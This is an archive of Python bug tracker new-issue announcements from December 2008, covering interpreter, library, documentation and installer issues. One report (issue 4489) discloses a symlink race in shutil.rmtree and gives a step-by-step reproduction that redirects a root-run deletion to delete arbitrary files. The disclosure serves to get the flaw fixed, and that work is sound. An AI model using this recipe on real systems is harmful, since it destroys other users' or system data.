From report at bugs.python.org  Mon Dec  1 01:32:52 2008
From: report at bugs.python.org (Michael Aivazis)
Date: Mon, 01 Dec 2008 00:32:52 +0000
Subject: [New-bugs-announce] [issue4476] compileall.py fails if current dir
	has a "types" subdir with 3.0 (ok with 2.5)
Message-ID: <1228091572.68.0.434526872753.issue4476@psf.upfronthosting.co.za>


Changes by Michael Aivazis <aivazis at orthologue.com>:


----------
components: Library (Lib)
nosy: aivazis
severity: normal
status: open
title: compileall.py  fails if current dir has a "types" subdir with 3.0 (ok with 2.5)
type: behavior
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4476>
_______________________________________

From report at bugs.python.org  Mon Dec  1 05:33:26 2008
From: report at bugs.python.org (Jeffrey Yasskin)
Date: Mon, 01 Dec 2008 04:33:26 +0000
Subject: [New-bugs-announce] [issue4477] Speed up PyEval_EvalFrameEx when
	tracing is off.
In-Reply-To: <1228106006.06.0.406632816791.issue4477@psf.upfronthosting.co.za>
Message-ID: <1228106006.06.0.406632816791.issue4477@psf.upfronthosting.co.za>


New submission from Jeffrey Yasskin <jyasskin at gmail.com>:

Tracing support shows up fairly heavily an a Python profile, even
though it's nearly always turned off. The attached patch against the
trunk speeds up PyBench by 2% for me. All tests pass. I have 2
questions:

1) Can other people corroborate this speedup on their machines? I'm
running on a Macbook Pro (Intel Core2 processor, probably Merom) with
a 32-bit build from Apple's gcc-4.0.1. (Apple's gcc consistently
produces a faster python than gcc-4.3.)

2) Assuming this speeds things up for most people, should I check it
in anywhere besides the trunk? I assume it's out for 3.0; is it in for
2.6.1 or 3.0.1?



Pybench output:

-------------------------------------------------------------------------------
PYBENCH 2.0
-------------------------------------------------------------------------------
* using CPython 2.7a0 (trunk:67458M, Nov 30 2008, 17:14:10) [GCC 4.0.1
(Apple Inc. build 5488)]
* disabled garbage collection
* system check interval set to maximum: 2147483647
* using timer: time.time

-------------------------------------------------------------------------------
Benchmark: pybench.out
-------------------------------------------------------------------------------

   Rounds: 10
   Warp:   10
   Timer:  time.time

   Machine Details:
      Platform ID:    Darwin-9.5.0-i386-32bit
      Processor:      i386

   Python:
      Implementation: CPython
      Executable:
/Users/jyasskin/src/python/trunk-fast-tracing/build/python.exe
      Version:        2.7.0
      Compiler:       GCC 4.0.1 (Apple Inc. build 5488)
      Bits:           32bit
      Build:          Nov 30 2008 17:14:10 (#trunk:67458M)
      Unicode:        UCS2


-------------------------------------------------------------------------------
Comparing with: ../build_orig/pybench.out
-------------------------------------------------------------------------------

   Rounds: 10
   Warp:   10
   Timer:  time.time

   Machine Details:
      Platform ID:    Darwin-9.5.0-i386-32bit
      Processor:      i386

   Python:
      Implementation: CPython
      Executable:
/Users/jyasskin/src/python/trunk-fast-tracing/build_orig/python.exe
      Version:        2.7.0
      Compiler:       GCC 4.0.1 (Apple Inc. build 5488)
      Bits:           32bit
      Build:          Nov 30 2008 13:51:09 (#trunk:67458)
      Unicode:        UCS2


Test                             minimum run-time        average  run-time
                                this    other   diff    this    other   diff
-------------------------------------------------------------------------------
         BuiltinFunctionCalls:   127ms   130ms   -2.4%   129ms   132ms 
 -2.1%
          BuiltinMethodLookup:    90ms    93ms   -3.2%    91ms    94ms 
 -3.1%
                CompareFloats:    88ms    91ms   -3.3%    89ms    93ms 
 -4.3%
        CompareFloatsIntegers:    97ms    99ms   -2.1%    97ms   100ms 
 -2.4%
              CompareIntegers:    79ms    82ms   -4.2%    79ms    85ms 
 -6.1%
       CompareInternedStrings:    90ms    92ms   -2.4%    94ms    94ms 
 -0.9%
                 CompareLongs:    86ms    83ms   +3.6%    87ms    84ms 
 +3.5%
               CompareStrings:    80ms    82ms   -3.1%    81ms    83ms 
 -2.3%
               CompareUnicode:   103ms   105ms   -2.3%   106ms   108ms 
 -1.5%
   ComplexPythonFunctionCalls:   139ms   137ms   +1.3%   140ms   139ms 
 +0.1%
                ConcatStrings:   142ms   151ms   -6.0%   156ms   154ms 
 +1.1%
                ConcatUnicode:    87ms    92ms   -5.4%    89ms    94ms 
 -5.7%
              CreateInstances:   142ms   144ms   -1.4%   144ms   145ms 
 -1.1%
           CreateNewInstances:   107ms   109ms   -2.3%   108ms   111ms 
 -2.1%
      CreateStringsWithConcat:   114ms   137ms  -17.1%   117ms   139ms 
-16.0%
      CreateUnicodeWithConcat:    92ms   101ms   -9.2%    95ms   102ms 
 -7.2%
                 DictCreation:    77ms    81ms   -4.4%    80ms    85ms 
 -5.9%
            DictWithFloatKeys:    91ms   107ms  -14.5%    93ms   109ms 
-14.6%
          DictWithIntegerKeys:    95ms    94ms   +1.4%   108ms    96ms 
+12.3%
           DictWithStringKeys:    83ms    88ms   -5.8%    84ms    88ms 
 -4.7%
                     ForLoops:    72ms    72ms   -0.1%    79ms    74ms 
 +5.8%
                   IfThenElse:    83ms    80ms   +3.9%    85ms    80ms 
 +5.3%
                  ListSlicing:   117ms   118ms   -0.7%   118ms   121ms 
 -1.8%
               NestedForLoops:   116ms   119ms   -2.4%   121ms   121ms 
 +0.0%
         NormalClassAttribute:   106ms   115ms   -7.7%   108ms   117ms 
 -7.7%
      NormalInstanceAttribute:    96ms    98ms   -2.3%    97ms   100ms 
 -3.1%
          PythonFunctionCalls:    92ms    95ms   -3.7%    94ms    99ms 
 -5.2%
            PythonMethodCalls:   147ms   147ms   +0.1%   152ms   149ms 
 +2.1%
                    Recursion:   135ms   136ms   -0.3%   140ms   144ms 
 -2.9%
                 SecondImport:   101ms    99ms   +2.1%   103ms   101ms 
 +2.2%
          SecondPackageImport:   107ms   103ms   +3.5%   108ms   104ms 
 +3.3%
        SecondSubmoduleImport:   134ms   134ms   +0.3%   136ms   136ms 
 -0.0%
      SimpleComplexArithmetic:   105ms   111ms   -5.0%   110ms   112ms 
 -1.4%
       SimpleDictManipulation:    95ms   106ms  -10.6%    96ms   109ms 
-12.0%
        SimpleFloatArithmetic:    90ms    99ms   -9.3%    93ms   102ms 
 -8.2%
     SimpleIntFloatArithmetic:    78ms    76ms   +2.3%    79ms    77ms 
 +2.0%
      SimpleIntegerArithmetic:    78ms    77ms   +1.8%    79ms    77ms 
 +2.0%
       SimpleListManipulation:    80ms    78ms   +2.4%    80ms    79ms 
 +1.9%
         SimpleLongArithmetic:   110ms   113ms   -2.0%   111ms   113ms 
 -2.1%
                   SmallLists:   128ms   117ms   +9.5%   130ms   124ms 
 +4.9%
                  SmallTuples:   115ms   114ms   +1.7%   117ms   114ms 
 +2.2%
        SpecialClassAttribute:   101ms   112ms  -10.3%   104ms   114ms 
 -8.9%
     SpecialInstanceAttribute:   173ms   177ms   -1.9%   176ms   179ms 
 -1.6%
               StringMappings:   165ms   167ms   -1.2%   168ms   169ms 
 -0.5%
             StringPredicates:   126ms   134ms   -5.7%   127ms   134ms 
 -5.6%
                StringSlicing:   125ms   123ms   +1.9%   131ms   130ms 
 +0.7%
                    TryExcept:    79ms    80ms   -0.6%    80ms    80ms 
 -0.8%
                   TryFinally:   110ms   107ms   +3.0%   111ms   112ms 
 -1.1%
               TryRaiseExcept:    99ms   101ms   -1.6%   100ms   102ms 
 -1.7%
                 TupleSlicing:   127ms   127ms   +0.6%   137ms   137ms 
 +0.0%
              UnicodeMappings:   144ms   144ms   -0.3%   145ms   145ms 
 -0.4%
            UnicodePredicates:   116ms   114ms   +1.3%   117ms   115ms 
 +1.1%
            UnicodeProperties:   106ms   102ms   +3.6%   107ms   104ms 
 +3.1%
               UnicodeSlicing:    95ms   111ms  -14.0%    99ms   112ms 
-11.8%
                  WithFinally:   157ms   152ms   +3.3%   159ms   154ms 
 +3.3%
              WithRaiseExcept:   123ms   125ms   -1.1%   125ms   126ms 
 -1.2%
-------------------------------------------------------------------------------
Totals:                          6043ms  6182ms   -2.2%  6185ms  6301ms
  -1.9%

(this=pybench.out, other=../build_orig/pybench.out)


2to3 times:

Before:
$ time ./python.exe ~/src/2to3/2to3 -f all ~/src/2to3/ >/dev/null
real    0m56.685s
user    0m55.620s
sys     0m0.380s

After:
$ time ./python.exe ~/src/2to3/2to3 -f all ~/src/2to3/ >/dev/null
real    0m55.067s
user    0m53.843s
sys     0m0.376s

== 3% faster


Gory details:

The meat of the patch is:
@@ -884,11 +891,12 @@
       fast_next_opcode:
               f->f_lasti = INSTR_OFFSET();

               /* line-by-line tracing support */

-               if (tstate->c_tracefunc != NULL && !tstate->tracing) {
+               if (_Py_TracingPossible &&
+                   tstate->c_tracefunc != NULL && !tstate->tracing) {


This converts the generated assembly (produced with `gcc -S -dA ...`,
then manually annotated a bit) from:

       # basic block 17
       # ../Python/ceval.c:885
LM541:
       movl    8(%ebp), %ecx
LVL319:
       subl    -316(%ebp), %edx
       movl    %edx, 60(%ecx)
       # ../Python/ceval.c:889
LM542:
# %esi = tstate
       movl    -336(%ebp), %esi
LVL320:
# %eax = tstate->c_tracefunc
       movl    28(%esi), %eax
LVL321:
# if tstate->c_tracefunc == 0
       testl   %eax, %eax
# goto past-if ()
       je      L567
# more if conditions here

to:

       # basic block 17
       # ../Python/ceval.c:889
LM542:
       movl    8(%ebp), %ecx
LVL319:
       subl    -316(%ebp), %edx
       movl    %edx, 60(%ecx)
       # ../Python/ceval.c:893
LM543:
# %eax = _Py_TracingPossible
       movl    __Py_TracingPossible-"L00000000033$pb"(%ebx), %eax
LVL320:
# if _Py_TracingPossible != 0
       testl   %eax, %eax
# goto rest-of-if (nearby)
       jne     L2321
# opcode = NEXTOP(); continues here


The branch should be predicted accurately either way, so there are 2
things that may be contributing to the performance change.

First, adding the global caching variable halves the amount of memory
that has to be read to check the prediction. The memory that is read
is still read one instruction before it's used, but adding a local
variable to read the memory earlier doesn't affect the performance.

Without the global variable, the compiler puts the tracing code
immediately after the if; with the global, it moves it away and puts the
non-tracing code immediately after the first test in the if. This
may affect branch prediction and may affect the icache. I tried using
gcc's __builtin_expect() to ensure that the tracing code is always
out-of-line. This moved it much farther away and cost about 1% in
performance (i.e. 1% instead of 2% faster than "before"). I don't know
why the __builtin_expect() version would be slower. If anyone feels
inspired to test this out on another processor or compiler version,
let me know how it goes.

Jeffrey

----------
components: Interpreter Core
files: fast-tracing.diff
keywords: needs review, patch
messages: 76672
nosy: jyasskin
priority: normal
severity: normal
stage: patch review
status: open
title: Speed up PyEval_EvalFrameEx when tracing is off.
type: performance
versions: Python 2.7
Added file: http://bugs.python.org/file12177/fast-tracing.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4477>
_______________________________________

From report at bugs.python.org  Mon Dec  1 05:38:38 2008
From: report at bugs.python.org (steve21)
Date: Mon, 01 Dec 2008 04:38:38 +0000
Subject: [New-bugs-announce] [issue4478] shutil.copyfile documentation
In-Reply-To: <1228106318.66.0.677132442112.issue4478@psf.upfronthosting.co.za>
Message-ID: <1228106318.66.0.677132442112.issue4478@psf.upfronthosting.co.za>


New submission from steve21 <steve872929-bv at yahoo.com.au>:

$ python3.0
Python 3.0rc3 (r30rc3:67312, Nov 22 2008, 21:38:46)
>>> import shutil
>>> shutil.copyfile('/tmp/f', '/tmp/f')
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/a/lib/python3.0/shutil.py", line 47, in copyfile
    raise Error("`%s` and `%s` are the same file" % (src, dst))
shutil.Error: `/tmp/f` and `/tmp/f` are the same file

The Python 3 docs at
http://docs.python.org/dev/3.0/library/shutil.html#module-shutil
mention that copyfile can raise IOError, but they omit to mention that
copyfile can also raise shutil.Error.

Also, just out of interest, I notice that Sphinx now supports the
':raises:' field. Are there any plans for the Python documentation to
start using it?

----------
assignee: georg.brandl
components: Documentation
messages: 76673
nosy: georg.brandl, steve21
severity: normal
status: open
title: shutil.copyfile documentation
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4478>
_______________________________________

From report at bugs.python.org  Mon Dec  1 09:33:09 2008
From: report at bugs.python.org (Hatem)
Date: Mon, 01 Dec 2008 08:33:09 +0000
Subject: [New-bugs-announce] [issue4479] True division is not smart ->
	proposing smart True division
In-Reply-To: <1228120389.76.0.53863896637.issue4479@psf.upfronthosting.co.za>
Message-ID: <1228120389.76.0.53863896637.issue4479@psf.upfronthosting.co.za>


New submission from Hatem <hnassrat at gmail.com>:

A division which results in int, does not produce int ?!?

Here is the test case.

from __future__ import division
assert(isinstance(2 / 1, int))

----------
components: Interpreter Core
messages: 76679
nosy: nassrat
severity: normal
status: open
title: True division is not smart -> proposing smart True division
type: behavior
versions: Python 2.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4479>
_______________________________________

From report at bugs.python.org  Mon Dec  1 10:05:44 2008
From: report at bugs.python.org (Marc-Andre Lemburg)
Date: Mon, 01 Dec 2008 09:05:44 +0000
Subject: [New-bugs-announce] [issue4480] bdist_msi and bdist_wininst are
	missing an uninstaller icon
In-Reply-To: <1228122344.22.0.401809698411.issue4480@psf.upfronthosting.co.za>
Message-ID: <1228122344.22.0.401809698411.issue4480@psf.upfronthosting.co.za>


New submission from Marc-Andre Lemburg <mal at egenix.com>:

Now that #4389 is fixed, it would be nice if the bdist_msi and
bdist_wininst created installers could use the same Python icon for
their uninstallers.

Note that both commands create installers that are prefixed with the
Python version, so there already is a tight binding between the Python
interpreter itself and the extensions installed using those installers.

Alternatively, perhaps we could add a way to set the icon via command
options.

----------
components: Distutils
messages: 76680
nosy: lemburg
severity: normal
status: open
title: bdist_msi and bdist_wininst are missing an uninstaller icon
versions: Python 2.7, Python 3.1

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4480>
_______________________________________

From report at bugs.python.org  Mon Dec  1 16:45:45 2008
From: report at bugs.python.org (Konam)
Date: Mon, 01 Dec 2008 15:45:45 +0000
Subject: [New-bugs-announce] [issue4481] Windows installer crash
In-Reply-To: <1228146345.67.0.732952109448.issue4481@psf.upfronthosting.co.za>
Message-ID: <1228146345.67.0.732952109448.issue4481@psf.upfronthosting.co.za>


New submission from Konam <r.a.y.c.o.m at hotmail.com>:

Tried downloading the "Python 2.6 Windows Installer" for Windows Vista 
64bit and when I tried installing it, it simply made my Windows 
Installer stop working. I've tried "Just for me" and the "For everyone" 
options and it still crashes.

I'm wondering, is it the "Python 2.6 Windows AMD64 Installer" I'm 
supposed to use even if I've got an Intel chip in my computer?

----------
components: Installation
messages: 76698
nosy: Konam
severity: normal
status: open
title: Windows installer crash
type: crash
versions: Python 2.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4481>
_______________________________________

From report at bugs.python.org  Mon Dec  1 18:52:25 2008
From: report at bugs.python.org (Dino Viehland)
Date: Mon, 01 Dec 2008 17:52:25 +0000
Subject: [New-bugs-announce] [issue4482] 10e667.__format__('+') should
	return 'inf'
In-Reply-To: <1228153945.74.0.126553636811.issue4482@psf.upfronthosting.co.za>
Message-ID: <1228153945.74.0.126553636811.issue4482@psf.upfronthosting.co.za>


New submission from Dino Viehland <dinov at microsoft.com>:

10e667.__format__('+')  returns '+1.0#INF'

vs:

10e667.__format__('') which returns 'inf'

The docs say 'inf' is right.

----------
messages: 76703
nosy: DinoV
severity: normal
status: open
title: 10e667.__format__('+') should return 'inf'
versions: Python 2.6, Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4482>
_______________________________________

From report at bugs.python.org  Mon Dec  1 23:35:12 2008
From: report at bugs.python.org (Leger)
Date: Mon, 01 Dec 2008 22:35:12 +0000
Subject: [New-bugs-announce] [issue4483] Error to build _dbm module during
	make
In-Reply-To: <1228170912.0.0.0953990219054.issue4483@psf.upfronthosting.co.za>
Message-ID: <1228170912.0.0.0953990219054.issue4483@psf.upfronthosting.co.za>


New submission from Leger <legerf at free.fr>:

Under Debian/Lenny/i486, I install python3.0rc3.
After untar the Python3.0rc3 package, I replace in the configure
"/usr/local" by "/usr". After I do :
"configure --with-pydebug --with-doc-strings --enable-shared
--enable-profiling --enable-ipv6 --with-threads --with-tsc ; make"

The result during make is :
"Failed to find the necessary bits to build these modules:
_dbm                                                  
To find the necessary bits, look in setup.py in detect_modules() for the
module's name."

The release of the dbm library is : 
libgdbm-dev   1.8.3-3  GNU dbm database routines (development files)

The header for dbm : "_gdbmmodule.c" request "gdbm.h", and is here
"/usr/include/gdbm.h"

The "Modules/_dbmmodule.c" use :
#include <gdbm/ndbm.h>" ... #include <ndbm.h> ...
but I have only "/usr/include/gdbm-ndbm.h"

Can you patch the "_dbmmodule.c" to use it ?

----------
components: Extension Modules
messages: 76709
nosy: legerf
severity: normal
status: open
title: Error to build _dbm module during make
type: compile error
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4483>
_______________________________________

From report at bugs.python.org  Tue Dec  2 07:26:45 2008
From: report at bugs.python.org (Shaddy Baddah)
Date: Tue, 02 Dec 2008 06:26:45 +0000
Subject: [New-bugs-announce] [issue4484] struct: per item endianess
	specification
In-Reply-To: <1228199205.8.0.509541493061.issue4484@psf.upfronthosting.co.za>
Message-ID: <1228199205.8.0.509541493061.issue4484@psf.upfronthosting.co.za>


New submission from Shaddy Baddah <shaddy_baddah at hotmail.com>:

I note that using the struct module, a user can specify if number items
of the format are to be interpreted as either big or small endian.
However the format specifier can only accept one indicator character at
its first character to apply for all number items in it. e.g:

"<HI" specifies that both the unsigned short and unsigned int are to be
interpreted as little endian values.

It would be nice to be able to instead do "<>HI" where the first '<'
character indicates the default endianess (for compatibility purposes)
and then the second '>' character indicates that the unsigned short
should be interpreted as big endian. The unsigned int defaults to small
endian as per the first character.

----------
components: Library (Lib)
messages: 76726
nosy: da4an1qu1
severity: normal
status: open
title: struct: per item endianess specification
type: feature request
versions: Python 2.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4484>
_______________________________________

From report at bugs.python.org  Tue Dec  2 09:51:59 2008
From: report at bugs.python.org (Glenn Linderman)
Date: Tue, 02 Dec 2008 08:51:59 +0000
Subject: [New-bugs-announce] [issue4485] fast swap of "default" Windows
	python versions
In-Reply-To: <1228207919.66.0.730717066553.issue4485@psf.upfronthosting.co.za>
Message-ID: <1228207919.66.0.730717066553.issue4485@psf.upfronthosting.co.za>


New submission from Glenn Linderman <v+python at g.nevcal.com>:

Here's how I set up my computer, for multiple versions.  Now to change
the "default", I just use the assoc command to change the association
for .py to one of the three listed ftypes.  Simple and quick.

c:\>ftype Python25.File
ftype Python25.File
Python25.File="C:\Python25\python.exe" "%1" %*

c:\>ftype Python26.File
ftype Python26.File
Python26.File="C:\Python26\python.exe" "%1" %*

c:\>ftype Python30.File
ftype Python30.File
Python30.File="C:\Python30\python.exe" "%1" %*

c:\>assoc .py
assoc .py
.py=Python25.File


It would be nice if the ftypes were version specific as created by the
installer; IIRC, I created the above three from the ftype Python.File as
I installed each version. 

The Python.File could still be created by default, and could still
reflect the last temporally installed version of Python... but by
documenting the version specific ftypes, the user could still switch
among versions.

I suppose there is a question of if the version should contain two or
three parts, i.e. Python253.File; and if the version should be separated
such as Python2.5.3.File; the above worked for me for the moment, but
some thought might reveal a more useful technique.

It might even be appropriate for a Python version to create 3 ftypes,
such that version N.M.O creates ftypes named PythonN.File,
PythonN.M.File, and PythonN.M.O.File.  All but the most specific one
would be subject to change when additional versions are installed.  If M
or O are zero, they should probably still be specified (as zero) in a
scheme like this, so that there would be a solid way of referring to all
the specific versions.

----------
components: Installation
messages: 76731
nosy: v+python
severity: normal
status: open
title: fast swap of "default" Windows python versions
type: feature request
versions: Python 2.6, Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4485>
_______________________________________

From report at bugs.python.org  Tue Dec  2 11:33:58 2008
From: report at bugs.python.org (Nick Coghlan)
Date: Tue, 02 Dec 2008 10:33:58 +0000
Subject: [New-bugs-announce] [issue4486] Exception traceback is incorrect
	for strange exception handling
In-Reply-To: <1228214038.9.0.934760513423.issue4486@psf.upfronthosting.co.za>
Message-ID: <1228214038.9.0.934760513423.issue4486@psf.upfronthosting.co.za>


New submission from Nick Coghlan <ncoghlan at gmail.com>:

The interactive interpreter doesn't appear to like it if __cause__ and
__context__ are both set on the current exception.

=================
>>> try:
...   raise IOError
... except:
...   raise AttributeError from KeyError
...
KeyError

The above exception was the direct cause of the following exception:

Traceback (most recent call last):
  File "<stdin>", line 2, in <module>
IOError

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "<stdin>", line 4, in <module>
AttributeError
=================

I'm not entirely sure what *should* be displayed here (the code I typed
in is admittedly bizarre), but what is currently being displayed
definitely isn't right.

----------
components: Interpreter Core
messages: 76732
nosy: ncoghlan
severity: normal
status: open
title: Exception traceback is incorrect for strange exception handling
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4486>
_______________________________________

From report at bugs.python.org  Tue Dec  2 14:17:12 2008
From: report at bugs.python.org (maxua)
Date: Tue, 02 Dec 2008 13:17:12 +0000
Subject: [New-bugs-announce] [issue4487] Add utf8 alias for email charsets
In-Reply-To: <1228223832.43.0.0399583143577.issue4487@psf.upfronthosting.co.za>
Message-ID: <1228223832.43.0.0399583143577.issue4487@psf.upfronthosting.co.za>


New submission from maxua <ischenko at gmail.com>:

When using MIME email package you can specify "utf8" as the encoding. It
will be accepted but it is not rendered correctly in some MUA. E.g. Mac
OS X Mail.app doesn't display it properly while Google Gmail does.

It is confusing since Python itself happily understands both utf8 and utf-8.

The patch adds "utf8" as an alias to "utf-8" encoding which means user
won't need to think twice.

Test case:
from email.MIMEText import MIMEText

msg = MIMEText(u'\u043a\u0438\u0440\u0438\u043b\u0438\u0446\u0430')
msg.set_charset('utf8')
print msg.as_string()

----------
components: Library (Lib)
files: charset-utf8-alias.patch
keywords: patch
messages: 76738
nosy: maxua
severity: normal
status: open
title: Add utf8 alias for email charsets
versions: Python 2.5
Added file: http://bugs.python.org/file12191/charset-utf8-alias.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4487>
_______________________________________

From report at bugs.python.org  Tue Dec  2 15:38:27 2008
From: report at bugs.python.org (Martin Meredith)
Date: Tue, 02 Dec 2008 14:38:27 +0000
Subject: [New-bugs-announce] [issue4488] Python Documentation not Newb
	Friendly
In-Reply-To: <1228228707.08.0.277059516058.issue4488@psf.upfronthosting.co.za>
Message-ID: <1228228707.08.0.277059516058.issue4488@psf.upfronthosting.co.za>


New submission from Martin Meredith <mez at ubuntu.com>:

I'm a new python user (developing in python) and I recently had a
discussion with someone that my main issue with python is finding where
the functions are that I need to use.

An example (probably not the best) - I need to split a filename so that
I can have the extension and the rest of the filename seperate. Fine.. I
google, and I get the following page:-

http://www.python.org/doc/2.5.2/lib/os-path.html

Now, that lists the function splitext - which is what I need - but it's
not clear on the page where that function is located (os.path) 

I think that this should be made clearer somehow - as it seems to me
that you have to go through about 3 pages trying to work out where it is
(or work it out from the URL) - which isn't very intuitive, espescially
for a new user, who doesn't actually know where all the functions exist.

----------
assignee: georg.brandl
components: Documentation
messages: 76747
nosy: georg.brandl, mez
severity: normal
status: open
title: Python Documentation not Newb Friendly
type: feature request

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4488>
_______________________________________

From report at bugs.python.org  Tue Dec  2 16:42:02 2008
From: report at bugs.python.org (=?utf-8?q?Mart_S=C3=B5mermaa?=)
Date: Tue, 02 Dec 2008 15:42:02 +0000
Subject: [New-bugs-announce] [issue4489] shutil.rmtree is vulnerable to a
	symlink attack
In-Reply-To: <1228232522.58.0.0992151848245.issue4489@psf.upfronthosting.co.za>
Message-ID: <1228232522.58.0.0992151848245.issue4489@psf.upfronthosting.co.za>


New submission from Mart S?mermaa <mrts at mrts.pri.ee>:

Race condition in the rmtree function in the shutils module allows local
users to delete arbitrary files and directories via a symlink attack.

See also http://bugs.debian.org/286922

Attack:

---

# emulate removing /etc
$ sudo cp -a /etc /root/etc/
$ sudo python2.6
 >>> for i in xrange(0, 50000):
...      with open("/root/etc/" + str(i), "w") as f:
...             f.write("0")
...
$ ls /root/etc > orig_list.txt

$ mkdir /tmp/attack
$ cp -a /root/etc/* /tmp/attack

$ sudo python2.6
 >>> from shutil import rmtree
 >>> rmtree('/tmp/attack')
 >>> # press ctrl-z to suspend execution
^Z
[1]+  Stopped                 sudo python2.6

$ mv /tmp/attack /tmp/dummy; ln -s /root/etc /tmp/attack
$ fg
sudo python2.6
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/usr/local/lib/python2.6/shutil.py", line 225, in rmtree
    onerror(os.rmdir, path, sys.exc_info())
  File "/usr/local/lib/python2.6/shutil.py", line 223, in rmtree
    os.rmdir(path)
OSError: [Errno 20] Not a directory: '/tmp/attack'

$ ls /root/etc > new_list.txt
$ diff -q orig_list.txt new_list.txt
Files orig_list.txt and new_list.txt differ

---

If the attack wasn't successful, /root/etc would not be modified and
orig_list.txt and new_list.txt would be identical.

----------
components: Library (Lib)
messages: 76753
nosy: mrts
severity: normal
status: open
title: shutil.rmtree is vulnerable to a symlink attack
type: security
versions: Python 2.3, Python 2.4, Python 2.5, Python 2.6, Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4489>
_______________________________________

From report at bugs.python.org  Tue Dec  2 16:52:56 2008
From: report at bugs.python.org (Jean-Paul Calderone)
Date: Tue, 02 Dec 2008 15:52:56 +0000
Subject: [New-bugs-announce] [issue4490] xml/sax/expatreader.py raises
	AttributeError when run
In-Reply-To: <1228233176.69.0.228694076169.issue4490@psf.upfronthosting.co.za>
Message-ID: <1228233176.69.0.228694076169.issue4490@psf.upfronthosting.co.za>


New submission from Jean-Paul Calderone <exarkun at divmod.com>:

expatreader.py has a __main__ which uses something called
`xml.sax.XMLGenerator?.  However, `xml.sax? has no such attribute.

----------
components: Library (Lib)
messages: 76754
nosy: exarkun
severity: normal
status: open
title: xml/sax/expatreader.py raises AttributeError when run
versions: Python 2.3, Python 2.4, Python 2.5, Python 2.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4490>
_______________________________________

From report at bugs.python.org  Tue Dec  2 17:15:59 2008
From: report at bugs.python.org (Atsuo Ishimoto)
Date: Tue, 02 Dec 2008 16:15:59 +0000
Subject: [New-bugs-announce] [issue4491] email.Header.decode_header()
	doesn't work if encoded-word was separeted by CRLF
In-Reply-To: <1228234559.58.0.381415224429.issue4491@psf.upfronthosting.co.za>
Message-ID: <1228234559.58.0.381415224429.issue4491@psf.upfronthosting.co.za>


New submission from Atsuo Ishimoto <ishimoto at gembook.org>:

email.Header.decode_header() doesn't work if encoded-word was separeted
by CRLF. 

For exmaple, decode_header('=?iso-8859-1?q?hello?=\r\n world.') returns
[('=?iso-8859-1?q?hello?=\r\n world.', None)], not [('hello',
'iso-8859-1'), (' world.', None)].

This bug was caused by rev.54371, bug #1582282. I attached a patch to
fix problem and test-case.

----------
components: Library (Lib)
files: email.patch
keywords: patch
messages: 76755
nosy: ishimoto
severity: normal
status: open
title: email.Header.decode_header() doesn't work if encoded-word was separeted by CRLF
type: behavior
versions: Python 2.5, Python 2.6
Added file: http://bugs.python.org/file12196/email.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4491>
_______________________________________

From report at bugs.python.org  Tue Dec  2 19:15:19 2008
From: report at bugs.python.org (John J Lee)
Date: Tue, 02 Dec 2008 18:15:19 +0000
Subject: [New-bugs-announce] [issue4492] httplib code thinks it closes
	connection, but does not
In-Reply-To: <1228241719.92.0.946688230988.issue4492@psf.upfronthosting.co.za>
Message-ID: <1228241719.92.0.946688230988.issue4492@psf.upfronthosting.co.za>


New submission from John J Lee <jjlee at users.sourceforge.net>:

The fix for #900744 tried to close the connection when a bad chunk
length was received.  The comment inserted with that fix "close the
connection as protocol synchronisation is probably lost" is incorrect:
self.close() in _read_chunked does not close the connection.  You have
to call HTTPConnection.close() to close the connection.

So:

 * The comment is incorrect, and should be removed or fixed.  I guess
the self.close() should stay.

 * It's probably a bug that it doesn't result in the connection being
closed.  I guess a fix for that would be for the HTTPResponse to set
some state on itself that HTTPConnection can query so that
HTTPConnection can close itself the next time somebody tries to do
something with the connection.

----------
components: Library (Lib)
messages: 76764
nosy: jjlee
severity: normal
status: open
title: httplib code thinks it closes connection, but does not
type: behavior
versions: Python 2.6, Python 2.7, Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4492>
_______________________________________

From report at bugs.python.org  Tue Dec  2 21:46:12 2008
From: report at bugs.python.org (John J Lee)
Date: Tue, 02 Dec 2008 20:46:12 +0000
Subject: [New-bugs-announce] [issue4493] urllib2 doesn't always supply /
	where URI path component is empty
In-Reply-To: <1228250772.41.0.047917224679.issue4493@psf.upfronthosting.co.za>
Message-ID: <1228250772.41.0.047917224679.issue4493@psf.upfronthosting.co.za>


New submission from John J Lee <jjlee at users.sourceforge.net>:

As required by RFC 2616 section 3.2.2, for all HTTP requests sent by
urllib2, the path component of the URI should be normalized to "/"
before the Request-URI derived from it gets passed to httplib (or
something functionally equivalent to that).  This was fixed in one case
in #2464, but the fix is in the wrong place, since it's a general
problem not specific to redirects.  See the longer discussion here:

http://bugs.python.org/msg76736

(hmm, let's see if I can just say msg76736 and get a hyperlink)

Example:

import urllib2
urllib2.urlopen("http://python.org?spam")

Expect: sends "/?spam" in request line.

Got: sends "?spam" in request line.

Probably should be fixed by making Request.get_selector() return the
normalized URI reference (with the slash always present).  When fixing,
remember that the Request-URI of RFC 2616 (returned by .get_selector())
is sometimes a relative reference, and sometimes a URI (in RFC 3986's
terminology).

----------
messages: 76777
nosy: jjlee
severity: normal
status: open
title: urllib2 doesn't always supply / where URI path component is empty

_______________________________________
Python tracker <report at bugs.python.org>
